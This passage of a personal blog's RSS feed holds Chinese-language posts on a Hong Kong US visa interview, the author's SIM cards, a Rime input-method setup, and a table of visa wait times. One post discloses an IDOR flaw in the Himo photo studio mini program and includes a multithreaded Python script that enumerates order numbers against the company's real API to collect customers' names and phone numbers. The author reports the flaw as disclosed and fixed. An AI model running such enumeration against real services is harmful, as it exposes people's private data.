2. BOC CN 跨境转账到同名的 BOCHK
3. BOCHK 通过 FPS 转账到 HSBC HK
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>U.S. Visa Interview in Hong Kong</title><link>https://missuo.me/posts/hongkong-us-visa/</link><guid isPermaLink="true">https://missuo.me/posts/hongkong-us-visa/</guid><description>A detailed account of obtaining a 5-year F1 visa at the US Consulate in Hong Kong as a CS student, avoiding the administrative processing common in mainland China, with practical tips on preparation and passport pickup.</description><pubDate>Thu, 15 Jun 2023 16:10:47 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;平时生活在浙江和上海，正常情况下最方便美国签证的地方应该是上海。但是我特地跑到了香港，主要有两方面的原因，第一是因为我申请的 Master 专业是 CS，属于 STEM 专业，在中国大陆签证被 check 的概率非常高，被 check 需要等待至少 4 周以上的时间，而且最后给的 F1 签证也很有可能是 1 年。第二是因为美国驻上海领事馆的预约最快要在一个月之后，需要等待的时间会比较久。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;本文仅分享我的个人经历，由于专业、时间以及签证官的不同，可能会有所差别。&lt;/p&gt;
&lt;h2&gt;面签的准备&lt;/h2&gt;
&lt;p&gt;其实和中国大陆面签准备的材料是一样的，这里就不过多赘述。这里我简单说一下关于帐号的问题。
如果你在中国大陆有帐号的情况下，最好是发邮件联系 &lt;strong&gt;美国驻香港领事馆&lt;/strong&gt;，把你的帐号区域转移到 &lt;strong&gt;香港&lt;/strong&gt;，否则你在预约的时候选项里面是没有香港的。当然你也可以重新注册一个香港区域的帐号，但是可能会存在一些奇奇怪怪的 Bug（比如个人信息中部分内容无法修改等等）。&lt;/p&gt;
&lt;p&gt;除此之外，你需要准备好 &lt;strong&gt;港澳通行证&lt;/strong&gt; 以及 &lt;strong&gt;有效签注&lt;/strong&gt;，这是用于你成功离境中国大陆和入境香港，签证的时候并不会用到。&lt;/p&gt;
&lt;p&gt;另外有关于小红书提到的 &lt;strong&gt;香港身份证 (HKID)&lt;/strong&gt; 的问题，我可以非常肯定地告诉你 &lt;strong&gt;不需要&lt;/strong&gt;，但是会被询问，这个后来会提到。&lt;/p&gt;
&lt;p&gt;面签的时间尽量不要选择星期五，星期五可能第二天拿不到护照。另外预约的时间段在 10 点多是最好的，太早的话可能需要起很早。到达的时间可以提早，我提早了差不多一个多小时，可以进去。但是网上说不能迟到超过 15 分钟，否则无法进入（有待考证）。&lt;/p&gt;
&lt;p&gt;关于自提护照和邮寄的问题，我的建议是自取，邮寄的收货地址只能是香港，而且邮寄的速度肯定没有自取快。自取点建议选择 &lt;strong&gt;Shau Kei Wan (筲箕灣)&lt;/strong&gt;，这是唯一一个免费的自取点，别的自取点都需要支付 &lt;strong&gt;100HKD&lt;/strong&gt; 左右的快递费用。我猜可能是因为 &lt;strong&gt;筲箕灣&lt;/strong&gt; 是顺丰快递护照分发的网点，所以是不需要快递费用的，可能所有的护照都会被先送到 &lt;strong&gt;筲箕灣&lt;/strong&gt;。（注意：这个 &lt;strong&gt;筲箕灣&lt;/strong&gt; 自提点是顺丰快递网点）&lt;/p&gt;
&lt;h2&gt;正式面签&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/2023061685zc1s.jpeg&quot; alt=&quot;2023061685zc1s&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Consulate General Of The United States Of America, 26 Garden Rd, Central&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果乘坐地铁的话，可以到 &lt;strong&gt;中环&lt;/strong&gt; 步行，但是需要一路往上爬，地点在山顶，大概 700 米，但是会比较累。&lt;/p&gt;
&lt;p&gt;美国驻香港总领事馆允许携带手机和小型包，只要你的包的大小可能放进篮子就可以，篮子的大小大概和 A4 纸差不多。刚进去的时候，需要将口袋里的东西和手机还有背包放到篮子里。然后开始排队，首先会检查你的材料，帮你把需要的材料钉在一起，然后会在你的护照上贴上一张 Label，应该是方便追踪你的护照。这个时候工作人员会问你要 &lt;strong&gt;HKID&lt;/strong&gt;，如果你来自中国大陆，你可以直接说 &lt;strong&gt;NO HKID&lt;/strong&gt;，他会让你给他 &lt;strong&gt;I-20&lt;/strong&gt; 和 &lt;strong&gt;SEVIS Fee 支付凭证&lt;/strong&gt;。别的材料可以依然在文件袋内。再下一个排队，是需要去窗口提交你的 &lt;strong&gt;签证照&lt;/strong&gt;，窗口的工作人员会问你 &lt;strong&gt;香港话&lt;/strong&gt; 还是 &lt;strong&gt;普通话&lt;/strong&gt;，然后会问你什么时候拍的照片。这些步骤完成之后，会再经过一次材料检查和安检，还需要将东西全部过安检机器，手机和小包这个过完安检机器会引导你寄存。寄存完了之后就正式进入到了大厅。&lt;/p&gt;
&lt;p&gt;首先需要录入十根手指的指纹，先是两个手的八根手指，最后是两个大拇指，这个步骤很快估计就 10 秒钟，完了之后开始等待面签的窗口了，所有的窗口都是一样的，可以处理所有的签证类型。我去的时候大概是上午 10 点，基本前面就三四个人，非常快，不到十分钟。我轮到的是倒数第二个窗口，是个白胡子老爷爷，我给他我的 &lt;strong&gt;护照、I-20 和 SEVIS Fee 支付凭证&lt;/strong&gt;，他开始提问。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- Hello, Good Morning!
- Good Morning!
- Are you going to the University of Pittsburgh for a Master of Computer Science?
- Yes.
- Did you study for a bachelor&apos;s degree in Shanghai?
- Yes.
- Are you going to graduate school in the same field?
- Yes.
- Do you have any future plans?
- When I finish my studies, I plan to go back to China.
- Your parents are both in China, right?
- Yes.
- Do you have a financial certificate?
- Yes. (给他存款证明)
- Your visa has been approved.
- Thanks. Have a nice day!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;留下护照，别的都还给你，整理好材料，取回寄存的手机和小包，走出领事馆。&lt;/p&gt;
&lt;h2&gt;取回护照&lt;/h2&gt;
&lt;p&gt;面签通过之后，理论上可以查询到你的签证状态了，正常应该是显示 &lt;strong&gt;Approved&lt;/strong&gt;。第二天我起来的时候状态还是 &lt;strong&gt;Approved&lt;/strong&gt;，差不多到中午的时候变成了 &lt;strong&gt;Issued&lt;/strong&gt;。在下午 5 点整，收到了邮件，让我去取护照，总共耗时 30 小时左右，效率非常高。拿到护照翻开一看，签发的 5 年 F1。&lt;/p&gt;
&lt;h2&gt;建议&lt;/h2&gt;
&lt;p&gt;如果你是敏感专业，想早点拿到签证，不想被 &lt;strong&gt;check&lt;/strong&gt; 的话，香港是一个非常不错的选择。但是如果你是非 &lt;strong&gt;STEM&lt;/strong&gt; 专业的话，可以直接在国内面签。另外，如果当场通过的 F1 签证一般是给五年的，而被 &lt;strong&gt;check&lt;/strong&gt; 之后通过的 F1 签证一般是给一年的，意味着你快递到手之后，你的签证是不满一年的，那么也不能在 &lt;strong&gt;国际旅行中心&lt;/strong&gt; 免费体检。&lt;/p&gt;
&lt;h2&gt;附加 B2 签证的问题&lt;/h2&gt;
&lt;p&gt;我也在网上查了一些资料，因为 B2 签证的排期非常久，即使是香港也要超过一个月，又因为 B2 签证最高可以 10 年有效期，性价比非常高，可以在开学前提早入境美国，当然之后开学需要出境重新用 F1 入境。如果你在面签 F1 的时候同时面签 B2，需要填写两份 &lt;strong&gt;DS-160&lt;/strong&gt;，一起递交给签证官就可以了，会不会影响各自的通过率不知道，如果都通过了，会给你的护照上两个美国签证。&lt;/p&gt;
</content:encoded></item><item><title>SIM card I am using</title><link>https://missuo.me/posts/sim-card/</link><guid isPermaLink="true">https://missuo.me/posts/sim-card/</guid><description>A personal inventory of SIM cards across China (Mobile, Unicom, Telecom) and international options (CMHK, GiffGaff, PayGo, Globe) with pricing and use cases for number retention and service registration.</description><pubDate>Tue, 30 May 2023 10:50:58 GMT</pubDate><content:encoded>&lt;h1&gt;境外&lt;/h1&gt;
&lt;h3&gt;中国移动香港 CMHK&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;资费：2HKD/mo&lt;/li&gt;
&lt;li&gt;保号：每充值 50HKD 续费 180 天&lt;/li&gt;
&lt;li&gt;用途：绑定 BOCHK 账户，注册 WeChat 等&lt;/li&gt;
&lt;li&gt;上车价格：30CNY（几年前的价格，现在涨价了）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Giffgaff&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;资费：0GBP&lt;/li&gt;
&lt;li&gt;保号：每半年发送一次短信或者拨打一次电话&lt;/li&gt;
&lt;li&gt;用途：注册 OpenAI，绑定 WeChat 等&lt;/li&gt;
&lt;li&gt;上车价格：30CNY/2 张&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Globe&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;资费：0PHP&lt;/li&gt;
&lt;li&gt;保号：半年充值 5CNY&lt;/li&gt;
&lt;li&gt;用途：注册 Paymaya，注册 Gcash 等&lt;/li&gt;
&lt;li&gt;上车价格：11CNY&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;PayGo&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;资费：3USD/mo&lt;/li&gt;
&lt;li&gt;保号：每月正常扣款 3USD，没有别的要求&lt;/li&gt;
&lt;li&gt;用途：绑定美区 PayPal 等&lt;/li&gt;
&lt;li&gt;上车价格：13USD &lt;a href=&quot;https://www.ebay.com/itm/285112988423?mkcid=16&amp;amp;mkevt=1&amp;amp;mkrid=711-127632-2357-0&amp;amp;ssspo=gHfqfctQT8S&amp;amp;sssrc=2349624&amp;amp;ssuid=dcrueftqrgg&amp;amp;var=&amp;amp;widget_ver=artemis&amp;amp;media=COPY&quot;&gt;eBay&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;境内&lt;/h1&gt;
&lt;h3&gt;中国移动 China Mobile&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;套餐：8 元飞享套餐&lt;/li&gt;
&lt;li&gt;资费：8CNY/mo&lt;/li&gt;
&lt;li&gt;用途：这是我最老的号码，绑定了不少服务，现在使用 &lt;strong&gt;无忧行 App&lt;/strong&gt; 仅收短信&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;中国联通 China Unicom&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;套餐：浙江沃派 5G 套餐（44G + 300 分钟）&lt;/li&gt;
&lt;li&gt;资费：28CNY/mo&lt;/li&gt;
&lt;li&gt;用途：主用上网通话卡&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;中国联通 China Unicom&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;套餐：大王卡（70G）&lt;/li&gt;
&lt;li&gt;资费：29CNY/mo&lt;/li&gt;
&lt;li&gt;用途：备用上网卡&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;中国电信 China Telecom&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;套餐：上海飞 Young 校园卡（36G + 300 分钟）&lt;/li&gt;
&lt;li&gt;资费：99CNY/yr&lt;/li&gt;
&lt;li&gt;用途：备用上网卡&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;中国电信 China Telecom&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;套餐：星卡（125G + 100 分钟）&lt;/li&gt;
&lt;li&gt;资费：29CNY/mo&lt;/li&gt;
&lt;li&gt;用途：备用上网卡&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Rime on Mac Tutorial</title><link>https://missuo.me/posts/rime-mac/</link><guid isPermaLink="true">https://missuo.me/posts/rime-mac/</guid><description>A comprehensive tutorial for setting up Rime (Squirrel) input method on macOS with the rime-ice dictionary, including WeChat keyboard themes and Dropbox-based vocabulary synchronization.</description><pubDate>Mon, 29 May 2023 11:57:54 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;之前有用过 Mac 原生输入法、搜狗输入法。原生输入法缺点就是词库太烂了，很多时候打出来的侯选词都不是我想要的。而搜狗输入法的词库是无可挑剔的，毕竟是联网的词库，但是会有一定的隐私安全。直到我在 Twitter 看到 &lt;a href=&quot;https://twitter.com/luoleiorg&quot;&gt;luolei&lt;/a&gt; 用上了 Rime。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;我第一次接触 Rime 估计过去了快一年了，第一次配置简直是噩梦，因为 Rime 可以自定义的东西太多了，几乎你能想到的一切都可以自定义，这就导致了你要弄明白每一个设置的参数是干什么用的。配置完之后，使用的体验也不算太好，很多时候都出现不了我想要的侯选词，不过随着个人词库的训练，会变得越来越“智能”。老实说，放在以前我不会向你推荐 Rime，我相信很多朋友刚设置完没几天就换回 &lt;strong&gt;搜狗&lt;/strong&gt; 了。直到 &lt;strong&gt;&lt;a href=&quot;https://github.com/iDvel/rime-ice&quot;&gt;雾凇拼音&lt;/a&gt;&lt;/strong&gt; 的出现。&lt;strong&gt;雾凇拼音&lt;/strong&gt; 的好处我就不多赘述了，直接来说说使用方法吧！&lt;/p&gt;
&lt;h3&gt;1. 安装 Rime (Squirrel)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;brew install --cask squirrel
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. 安装 东风破 (plum)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;cd ~/Library/Rime
git clone --depth=1 https://github.com/rime/plum
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. 安装 雾凇拼音&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;cd plum
bash rime-install iDvel/rime-ice:others/recipes/full
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;到这里安装部分基本上已经是完成了。你已经可以开始使用了。下面的部分是一些优化和高阶玩法的部分。&lt;/p&gt;
&lt;h3&gt;使用 微信输入法 Mac 的主题&lt;/h3&gt;
&lt;p&gt;修改 &lt;code&gt;squirrel.custom.yaml&lt;/code&gt; 文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# squirrel.custom.yaml
patch:
  # 通知栏显示方式以及 ascii_mode 应用，与外观无关
  show_notifications_via_notification_center: true

  # 以下软件默认英文模式
  app_options:
    com.svend.uPic:
      ascii_mode: true

# 如果想要修改皮肤，直接更改 color_scheme 的值即可
  style:
    color_scheme: wechat_light
    color_scheme_dark: wechat_dark

  preset_color_schemes:
    wechat_light:
      name: 微信键盘浅色
      horizontal: true                          # true横排，false竖排
      back_color: 0xFFFFFF                      # 候选条背景色
      border_height: 0                          # 窗口上下高度，大于圆角半径才生效
      border_width: 8                           # 窗口左右宽度，大于圆角半径才生效
      candidate_format: &apos;%c %@ &apos;                # 用 1/6 em 空格 U+2005 来控制编号 %c 和候选词 %@ 前后的空间
      comment_text_color: 0x999999              # 拼音等提示文字颜色
      corner_radius: 5                          # 窗口圆角
      hilited_corner_radius: 5                  # 高亮圆角
      font_face: PingFangSC                     # 候选词字体
      font_point: 16                            # 候选字大小
      hilited_candidate_back_color: 0x75B100    # 第一候选项背景色
      hilited_candidate_text_color: 0xFFFFFF    # 第一候选项文字颜色
      label_font_point: 12                      # 候选编号大小
      text_color: 0x424242                      # 拼音行文字颜色
      inline_preedit: true                      # 拼音位于： 候选框 false | 行内 true
    wechat_dark:
      name: 微信键盘深色
      horizontal: true                          # true横排，false竖排
      back_color: 0x2e2925                      # 候选条背景色
      border_height: 0                          # 窗口上下高度，大于圆角半径才生效
      border_width: 8                           # 窗口左右宽度，大于圆角半径才生效
      candidate_format: &apos;%c %@ &apos;                # 用 1/6 em 空格 U+2005 来控制编号 %c 和候选词 %@ 前后的空间
      comment_text_color: 0x999999              # 拼音等提示文字颜色
      corner_radius: 5                          # 窗口圆角
      hilited_corner_radius: 5                  # 高亮圆角
      font_face: PingFangSC                     # 候选词字体
      font_point: 16                            # 候选字大小
      hilited_candidate_back_color: 0x75B100    # 第一候选项背景色
      hilited_candidate_text_color: 0xFFFFFF    # 第一候选项文字颜色
      label_font_point: 12                      # 候选编号大小
      text_color: 0x424242                      # 拼音行文字颜色
      label_color: 0x999999                     # 预选栏编号颜色
      candidate_text_color: 0xe9e9ea            # 预选项文字颜色
      inline_preedit: true                      # 拼音位于： 候选框 false | 行内 true
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;更新和同步词库&lt;/h3&gt;
&lt;p&gt;我这边采用的备份方案是 &lt;strong&gt;Dropbox&lt;/strong&gt;，别的也都类似，可以实现多台设备之间词库互相同步。修改 &lt;code&gt;installation.yaml&lt;/code&gt; 文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# installation.yaml
distribution_code_name: Squirrel
distribution_name: &quot;鼠鬚管&quot;
distribution_version: 0.16.2
install_time: &quot;Mon May  8 15:13:26 2023&quot;
installation_id: &quot;mac-mini&quot;
sync_dir: &quot;/Users/vincent/Library/CloudStorage/Dropbox/Rime/&quot;
rime_version: 1.8.5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更新词库脚本，你可以配置 Mac 计划任务，每天或者每隔几个小时自动执行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
cd ~/Library/Rime/plum

echo &quot;Updating rime...&quot;
bash rime-install iDvel/rime-ice:others/recipes/full

sleep 3

echo &quot;Syncing rime...&quot;
/Library/Input\ Methods/Squirrel.app/Contents/MacOS/Squirrel --sync

echo &quot;Deploying rime...&quot;
/Library/Input\ Methods/Squirrel.app/Contents/MacOS/Squirrel --reload
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;别的一些非常具体的设置，我在这里就不介绍了，&lt;a href=&quot;https://dvel.me/posts/rime-ice/&quot;&gt;雾凇拼音官方介绍&lt;/a&gt; 写的非常详细，可以仔细阅读。&lt;/p&gt;
</content:encoded></item><item><title>Himo Mini Program Security Issues</title><link>https://missuo.me/posts/himo-security/</link><guid isPermaLink="true">https://missuo.me/posts/himo-security/</guid><description>A security research disclosure revealing an IDOR vulnerability in Himo (Haima Ti) photo studio&apos;s WeChat mini program that exposed customer order details and contact information through predictable order numbers.</description><pubDate>Sun, 28 May 2023 16:31:40 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;因为预约了 6 月头在香港的 F1 签证，所以需要准备一张 &lt;strong&gt;签证照&lt;/strong&gt;，在家这边的小城市，也没什么选择，没有 &lt;strong&gt;天真蓝&lt;/strong&gt;，最好的就是 &lt;strong&gt;海马体&lt;/strong&gt; 了。海马体生意还挺好，当天都约不到，只能约到 5 月 14 日星期天&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在 2023 年 5 月 16 日我已经向海马体的技术团队提交了 &lt;strong&gt;可能存在的安全问题&lt;/strong&gt;。&lt;s&gt;直到今天（2023 年 5 月 29 日），我没有收到海马体技术团队的任何回信，我决定在我的个人博客公开。&lt;/s&gt; 2023 年 5 月 31 日我收到了海马体技术团队的邮件，已经修复了该问题。&lt;/p&gt;
&lt;p&gt;我在拍完照之后，现场等待了一会，大概也就不到半个小时，小姐姐就基本上修好了，让我确认一下是否有需要修改的地方，没有的话就开始打印了。打印完之后，她告诉我电子版随时可以在 &lt;strong&gt;海马体小程序&lt;/strong&gt; 随时下载。这一点我觉得非常方便。&lt;/p&gt;
&lt;p&gt;晚上在家的时候，突然想到海马体小程序的这回事，我在想这些个人的照片应该是存储在 &lt;strong&gt;OSS&lt;/strong&gt; 上的，但是我在想会不会有可能是订单号+编号这样子的文件名来存储的，简单说就是这个图片的链接是有规律的。如果真的是这样的话，我就可以轻松拿到所有用户的照片。&lt;/p&gt;
&lt;p&gt;我在 iPhone 上开启了抓包，结果发现所有的照片的外链确实是固定的，只不过文件名是随机的一串字符串，似乎没有任何规律，应该就是完全随机的。然而有一个 API 会返回这个用户所有的照片的文件名，这个 API 传递的参数似乎没有类似于 &lt;strong&gt;userID&lt;/strong&gt; 这类的参数，也就是说完全按照 &lt;strong&gt;Cookie&lt;/strong&gt; 来判断哪位用户的。到这里，想拿到别的用户的照片外链的计划算是泡汤了。&lt;/p&gt;
&lt;p&gt;我又想到因为每一次的照片肯定是和订单绑定的，也就是说一个 &lt;strong&gt;签证照&lt;/strong&gt; 订单，理论上应该就固定的只有 4 张图。我又仔细地看了一下订单返回的参数，比较有价值的就是用户名、手机号这些，别的都是预约的门店、门店地址、门店联系电话、订单价格之类的一些东西。但是有一个意外的惊喜，我发现订单详情的 API 在 GET 请求的时候携带了 &lt;strong&gt;orderNo&lt;/strong&gt; 参数，我赶紧使用 API 测试工具，发起了请求，把 &lt;strong&gt;orderNo&lt;/strong&gt; 改一个数字，API 返回了 “订单不存在”。心里窃喜，竟然返回的是订单不存在，而不是无权限，说明我的 &lt;strong&gt;Cookie&lt;/strong&gt; 应该可以查看别人的订单信息，我可以拿到任何注册 &lt;strong&gt;海马体小程序&lt;/strong&gt; 用户的 &lt;strong&gt;联系方式&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;我的订单的 &lt;strong&gt;orderNo&lt;/strong&gt; 是 &lt;strong&gt;T2023051413359999&lt;/strong&gt;，以首字母 T 开头，前 8 位是当天的日期，后面的 8 个纯数字应该是随机的，但是这难不倒我，手搓一个 &lt;strong&gt;Python&lt;/strong&gt; 脚本，从 &lt;strong&gt;00000000&lt;/strong&gt; 穷举到 &lt;strong&gt;99999999&lt;/strong&gt; 不就完事了，在多线程的帮助下，简直是小菜一碟。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 这是示例代码，不能直接运行

import threading
import httpx

headers = {
	&quot;app-key&quot;: &quot;himo-wx-mini-program&quot;,
	&quot;content-type&quot;: &quot;application/json&quot;,
	&quot;X-Stream-Id&quot;: &quot;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&quot;,
	&quot;User-Agent&quot;: &quot;Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.37(0x18002528) NetType/WIFI Language/en&quot;,
	&quot;Referer&quot;: &quot;https://servicewechat.com/xxxxx/456/page-frame.html&quot;
}

semaphore = threading.Semaphore(10)

def getOrderDetails(orderId):
	try:
		with semaphore:
			url = f&quot;https://api-gateway.hzmantu.com/appointment_platform/order/order/order_detail?orderNo=T20230515{orderId}&quot;
			resp = httpx.get(url=url, headers=headers)
			if resp.status_code == 200:
				with open(&quot;result.json&quot;, &quot;a&quot;) as f:
					f.write(resp.text)
				print(resp.text)
	finally:
		semaphore.__exit__(None, None, None)

threads = []
for orderId in range(10013132, 99999999):
	thread = threading.Thread(target=getOrderDetails, args=(orderId,))
	thread.start()
	threads.append(thread)

for thread in threads:
	thread.join()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很快，Python 的程序跑出了结果，验证了我的猜想。来自 &lt;strong&gt;武汉&lt;/strong&gt; 的一位幸运网友。（&lt;strong&gt;为了保护他人隐私，已将关键信息打码&lt;/strong&gt;）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/202305295XA9GS.png&quot; alt=&quot;202305295XA9GS&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我在 5 月 15 日凌晨发了一条朋友圈和微博，在微博艾特了 &lt;strong&gt;缦图摄影&lt;/strong&gt; 和 &lt;strong&gt;海马体照相馆&lt;/strong&gt;。很荣幸，在微博私信和我的邮箱都有工作人员联系我，下午醒来的时候我及时地回复了邮件，很遗憾的是过去了接近 2 周的时间，我没有收到任何回信，我不知道他们是修复了这个问题，还是说直接忽略了。之后我也没有再去验证。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20230529fzK3kq.png&quot; alt=&quot;20230529fzK3kq&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其实我写这篇博客，只是想分享这一段有趣的小研究，也算是为海马体做出一点点贡献。&lt;strong&gt;海马体小程序&lt;/strong&gt; 其实只是一个很好的例子，其实他们并不是一家小公司，而是一家在中国大陆范围内规模挺大的公司。除了海马体，在过去的时间里我还有研究过很多类似的小程序，很遗憾，大部分小程序都没有在 &lt;strong&gt;用户个人信息&lt;/strong&gt; 做到很好保护。&lt;/p&gt;
</content:encoded></item><item><title>U.S. Visa Waiting Time View</title><link>https://missuo.me/posts/us-visa/</link><guid isPermaLink="true">https://missuo.me/posts/us-visa/</guid><description>Live U.S. visa interview wait times for selected embassies and consulates, refreshed every 3 hours from travel.state.gov.</description><pubDate>Wed, 17 May 2023 13:18:24 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;Selected Embassy U.S. Visa Waiting Times View&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Last updated on: 2026-06-17 18:36:48 HKT&lt;/strong&gt; (Updated every 3 hours)&lt;/p&gt;
&lt;h3&gt;Beijing - P24&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Interview Required&lt;/th&gt;
&lt;th&gt;Visa Type&lt;/th&gt;
&lt;th&gt;Waiting Time (Calendar Days)&lt;/th&gt;
&lt;th&gt;Estimated Time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Visitors (B1/B2)&lt;/td&gt;
&lt;td&gt;28&lt;/td&gt;
&lt;td&gt;2026-07-15&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Students/Exchange Visitors (F, M, J)&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;2026-07-17&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Petition-Based Temporary Workers (H, L, O, P, Q)&lt;/td&gt;
&lt;td&gt;37&lt;/td&gt;
&lt;td&gt;2026-07-24&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Crew and Transit (C, D, C1/D)&lt;/td&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;2026-07-07&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Students/Exchange Visitors (F, M, J)&lt;/td&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;2026-07-01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Petition-Based Temporary Workers (H, L, O, P, Q)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Crew and Transit (C, D, C1/D)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Visitors (B1/B2)&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Shanghai - P187&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Interview Required&lt;/th&gt;
&lt;th&gt;Visa Type&lt;/th&gt;
&lt;th&gt;Waiting Time (Calendar Days)&lt;/th&gt;
&lt;th&gt;Estimated Time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Visitors (B1/B2)&lt;/td&gt;
&lt;td&gt;36&lt;/td&gt;
&lt;td&gt;2026-07-23&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Students/Exchange Visitors (F, M, J)&lt;/td&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;2026-07-12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Petition-Based Temporary Workers (H, L, O, P, Q)&lt;/td&gt;
&lt;td&gt;99&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Crew and Transit (C, D, C1/D)&lt;/td&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;2026-07-01&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Students/Exchange Visitors (F, M, J)&lt;/td&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;2026-07-10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Petition-Based Temporary Workers (H, L, O, P, Q)&lt;/td&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;2026-07-10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Crew and Transit (C, D, C1/D)&lt;/td&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;2026-07-10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Waiver&lt;/td&gt;
&lt;td&gt;Visitors (B1/B2)&lt;/td&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;2026-07-10&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
